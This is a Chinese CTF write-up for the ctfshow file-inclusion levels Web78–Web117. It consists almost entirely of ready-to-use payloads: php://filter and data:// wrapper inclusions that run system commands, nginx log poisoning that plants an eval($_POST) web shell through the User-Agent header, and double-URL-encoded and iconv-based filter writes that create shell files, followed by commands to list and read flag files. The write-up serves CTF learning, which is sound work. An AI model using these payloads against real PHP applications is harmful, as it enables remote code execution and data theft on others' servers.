文件包涵漏洞(ctfshow 无条件竞争)

Web78

payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php

Web79

<?php system('cat flag.php');

Data协议写入内容读取

payload:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

Web80

?file=/var/log/nginx/access.log

文件包含nignx日志文件

User-Agent: <?php eval($_POST[1]);?>

1=system(ls);

1=system('tac fl0g.php');

Web81

绕过php

?file=/var/log/nginx/access.log

文件包含nignx日志文件

User-Agent: <?=eval($_POST[1]);?>

1=system(ls);

1=system('tac fl0g.php');

Web87

Payload:

?file=php://filter/write=convert.base64-decode/resource=1.php 并且进行两次url编码

复制代码
Payload:

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

再对posy上传的content二次base64加密

content=<?php @eval($_POST[1]);?>

content=UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09

访问1.php

1=system(ls);

1=system('tac fl0g.php');

Web88

Data为协议:

<?php system('cat fl0g.php'); ?>

Base64加密后:

PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4

payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4

Web116

环境损坏

Web117

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=2.php

contents=?<hp pe@av(l_$OPTSa[aa]a;)>?

aaaa=system("tac f*");

相关推荐
Komorebi.py39 分钟前
Web-ssrfme:redis 未授权访问攻击
redis·安全·ssrf
Geek极安网络安全1 小时前
2025年浙江省中等职业学校职业能力大赛(学生技术技能类)“移动应用与开发”赛项技术文件
运维·网络·python·安全·web安全·eclipse·php
独行soc1 小时前
2025年渗透测试面试题总结- 某蚂蚁-安全工程师-实习(题目+回答)
java·python·安全·web安全·面试·职场和发展·红蓝攻防
竹等寒2 小时前
Go红队开发— 收官工具
开发语言·网络·后端·安全·golang
dot.Net安全矩阵2 小时前
.NET 调用API创建系统服务实现权限维持
windows·安全·.net·权限维持·内网攻防
IT成长日记3 小时前
Elasticsearch安全与权限控制指南
安全·elasticsearch
秋说6 小时前
【区块链安全 | 第二十三篇】单位和全局可用变量(一)
安全·区块链
小安运维日记13 小时前
CKS认证 | Day3 K8s容器运行环境安全加固
运维·网络·安全·云原生·kubernetes·云计算
Synfuture阳途14 小时前
关于终端安全管理系统的超全解析
网络·安全·web安全